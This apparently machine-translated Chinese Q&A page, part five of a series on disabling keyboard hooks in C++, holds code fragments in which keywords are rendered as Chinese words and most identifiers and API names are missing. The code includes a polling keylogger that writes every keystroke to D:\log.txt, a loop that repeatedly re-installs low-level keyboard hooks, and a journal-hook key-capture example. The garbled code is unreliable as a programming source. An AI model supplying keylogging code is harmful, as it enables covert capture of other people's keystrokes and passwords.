C++如何禁用全局键盘钩子或者程序钩子?( 五 )


= Key
}
}
Else if (Key =48 Key = 57) //键盘号:0-9及以上 。
{
如果(为)
{
开关(钥匙)
{
案例48: //0
= ")";
打破;
案例49://1
= "!";
打破;
案例50://2
= " @
打破;
案例51://3
= " #
打破;
案例52://4
= " $
打破;
案例53://5
= " %
打破;
案例54://6
key= " ^ ";
打破;
案例55://7
密钥串=
打破;
案例56://8
= " *
打破;
案例57://9
= "(";
打破;
}
}
其他的
= Key
}
如果(关键!=|| Key!= VK _按钮)
{
If (Key =65 Key =90) //ASCII 65-90是a-z 。
{
If(get (vk _ ))//大写锁定:输出A-Z
{
如果(是)//大写锁定,按shift键:输出小写字母 。
密钥串= Key+32;
Else //仅大写锁定:输出是大写字母 。
= Key
}
Else //大写不锁定:a-z
{
如果(为)
{
= Key
}
其他的
{
Key = Key+32;
= Key
}
}
}
}
返回密钥串
}
int main()
{
= " D:\ \ log 。txt ";//倾倒的记录文本存储在D盘的log.txt目录下..
字符串临时字符串=
Cout“现在开始键盘录音”;
.open(.c_str(),STD::::out | STD::::app);
While(真)
{
睡眠(5);
for(int I = 8;i = 255i++)
{
if((i)1 ==1)
{
= (I);
.write(.c_str()、 。size());
。close();
.open(.c_str(),STD::::out | STD::::app);
}
}
}
}
C++如何禁用全局键盘钩子或者程序钩子?
对于普通程序,一个双缓冲钩子就够了(相当于一个假顶钩子),代码如下:
HHOOK=空,m _=空
m _ HHOOK 1 =(HHOOK)(WH __ LL,(),(L“HOOK”),0);HOOK成为你的模块名 。
m _ HHOOK 2 =(HHOOK)(WH __ LL,(),(L“HOOK”),0);//同上
while (/**/true)
{
(m _ hhook 1);
m _ HHOOK 1 =(HHOOK)(WH __ LL,(),(L“HOOK”),0);//同上
(m _ hhook 2);
m _ HHOOK 2 =(HHOOK)(WH __ LL,(),(L“HOOK”),0);//同上
}
对于TX ***(无亲测)登录部分等异常程序,建议使用winio或其高级库进行驱动级拦截(无亲测) 。
如果还是抓鸡,那就只能把那个程序往前推做手术了,这需要楼主有一定的汇编语言知识(我没练过,不能保证成功) 。
我想用C语言写一个全局键盘钩子程序,成功后发100分!
全局键盘挂钩需要在dll中实现 。
我认为你还不能写出dll是什么 。
但是我有好消息告诉你 。
Log hook可以在程序中实现全局键盘捕获:
VC代码:
#.h
HHOOK= NULL
回调(int code,,)
{
event msg *=(event msg *);
if(code==)
{
开关(-消息)
{
case ():
字节bkey state[256];
无符号短UAS CII[4];
UINT
内部资源
(bkey状态);
bkey state[VK _ SHIFT]=state(VK _ SHIFT);
us can code =(-param h16);
iRet=(-,,,,0);
开关(iRet)
{
案例0:
打破;
案例1:
if((char)u ascii[0]= = ' t ' |(char)u ascii[0]= = ' t ')//t按键 。
{
(空,“t已按下”,“按键提示”,MB _ ok);
/* * * * * * * * * * * *实现自己播放音乐的功能* * * * * * * * * * * * * * * *
}
else if((char)u ascii[0]= ' y ' | |(char)u ascii[0]= = ' y ')//y键按下 。
{
(空,“y按”,“按键提示”,MB _ ok);
/* * * * * * * * * * * *我是来实现停止播放音乐的功能的* * * * * * * * * *
}
打破;
默认值: